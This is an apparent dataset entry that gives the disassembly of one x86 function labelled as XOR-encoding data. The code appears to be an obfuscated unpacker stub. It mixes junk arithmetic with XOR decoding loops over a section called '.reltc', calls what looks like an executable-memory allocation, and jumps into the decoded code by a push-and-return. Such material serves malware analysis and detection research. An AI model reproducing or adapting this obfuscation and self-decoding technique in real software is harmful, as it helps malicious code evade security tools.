Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9056862a
or edx, esi
mov esi, 0x91db657c
mov esi, 0xf6a9e333
popal
sub esi, edx
sub esi, 1
mov esi, 0
mov edi, ecx
not ebx
sub edx, ebx
mov ebx, 0x2bacbf80
mov eax, edi
add edx, 0x3233eb57
sub edx, 0x5acbe5e7
sub ebx, 0x41d7f931
mov ecx, eax
sub edx, ebx
add ebx, 0xbcf3674f
inc esi
and edx, ebx
or ebx, ebx
sub edx, 0xceb92c15
cmp esi, 0x100032a
jne 0xa789cc
add ebx, edx
sub edx, 1
or edx, edx
mov esi, edx
sub edx, 1
mov esi, 0xa78796
or ebx, ebx
mov edi, ebx
mov ecx, 0xa7898a
mov eax, ebx
add eax, 1
mov eax, ebx
mov edx, dword [esi]
dec eax
and ebx, ebx
add edi, 0x580a73ab
and edx, 0xff
or eax, edi
not ebx
xor dword [ecx], edx
not edi
and edi, edi
sub edi, 0x740e85f
add ecx, 1
add ebx, eax
sub ebx, 1
inc esi
and edi, edi
add ebx, 1
cmp ecx, entry0
jl 0xa78a36
sub ebx, edi
dec ebx
sub ebx, edi
mov ebx, edi
or ebx, ebx
add edi, 0x3cd28432
sub edx, 0x3668c3ee
sub edx, esi
mov ebx, 0xa7898e
sub esi, 0x9ba40686
dec edx
mov ebx, dword [ebx]
dec esi
mov edi, 0x4cf222a
mov ebx, dword [ebx]
dec esi
add ecx, edx
not edi
push ebx
sub esi, ecx
or ecx, edx
mov ebx, 0xa7898a
or edi, edi
inc esi
sub edx, edi
mov ebx, dword [ebx]
and edx, esi
mov esi, 0x194bd580
sub esi, 0x1ac3b05f
mov ebx, dword [ebx]
sub esi, 0x55bc286
not ecx
sub esp, 4
mov dword [esp], 0xa78992
mov ecx, 0x4783fa35
sub edi, edx
add esi, 0xb047956e
call ebx
inc edi
add edi, edx
pop ebx
add ecx, 0x9c6aa23b
sub edi, 0x2935dbde
not esi
push 0xa7899f
not edi
or esi, edx
not esi
push eax
not edi
dec esi
sub edx, 1
call ebx
add edx, edx
sub esi, edi
sub esi, 0xf439b25e
push 0x40
sub ecx, 0xd297910a
inc esi
push 0x3000
sub esi, 0x1dc0d1a7
and ecx, edx
push 0x20000234
sub edi, edx
and esi, edi
push 0
dec edx
mov edx, 0x34f7bd5a
sub esi, 1
call eax
add edx, esi
dec edi
add edi, 1
add eax, 0x2000017e
sub edx, 0x3956006c
add edi, 0x64400d2d
add edi, esi
mov ebx, 0x88173f79
sub edi, esi
mov edi, edx
mov dword [eax], ebx
mov edx, 0xe64e73f2
add ecx, 0xf162b23b
mov ebx, dword [eax]
mov edx, edi
mov edi, 0x66078531
inc edi
cmp ebx, 0x88173f79
je 0xa78ba1
mov edx, 0
mov byte [edx], cl
mov esi, edx
mov ecx, 0x7a5d4573
and edx, ecx
sub edi, 0x432d83eb
and edi, ecx
mov esi, edx
mov edx, 0xb0664514
mov edi, section..reltc
dec edx
dec esi
sub esi, 0x620e1d67
mov eax, 0xa78795
add edx, esi
and edx, esi
mov ebx, 0
or esi, edx
mov esi, 0xe4ef182e
inc esi
mov ecx, 0xa78796
add edx, edx
and esi, edx
not edx
lea ecx, [ebx + ecx]
inc esi
sub esi, edx
inc esi
mov ecx, dword [ecx]
not esi
not esi
dec esi
and ecx, 0xff
and esi, esi
not esi
mov esi, edx
inc ebx
sub esi, edx
mov edx, 0x4a07c6b
mov esi, edx
cmp ebx, 0x1f4
jne 0xa78c18
mov ebx, 0
or esi, edx
mov edx, 0x99989a9e
add edx, 1
add edx, 0x7432690b
not esi
xor dword [edi], ecx
mov esi, edx
mov esi, edx
add edi, 2
and esi, esi
and edx, esi
inc esi
cmp edi, eax
jl 0xa78bdc
and esi, esi
sub esi, 0xf24e66a
not esi
add edx, 0x4cfbbf97
mov esi, section..reltc
add edx, 0xb9035972
or edx, edx
mov ebx, section..reltc
mov edi, edx
sub edi, 1
not edx
mov eax, 0xa78795
or edx, edi
dec edi
mov ecx, 0
sub edx, edi
sub edi, edx
add edx, 0x2bdd7e83
mov cl, byte [ebx]
inc edx
dec edi
inc edi
mov byte [esi], cl
dec edi
mov edx, 0x382e7b6f
and edx, edx
inc esi
add edx, 0x966bb3fc
inc edi
mov edi, 0xea3c6d8e
add ebx, 2
not edi
not edi
cmp ebx, eax
jle 0xa78c89
add edx, edi
add edx, edx
add esi, esi
not esi
mov edx, 0x62769266
push 0x8dc6a0
dec esi
dec esi
inc esi
ret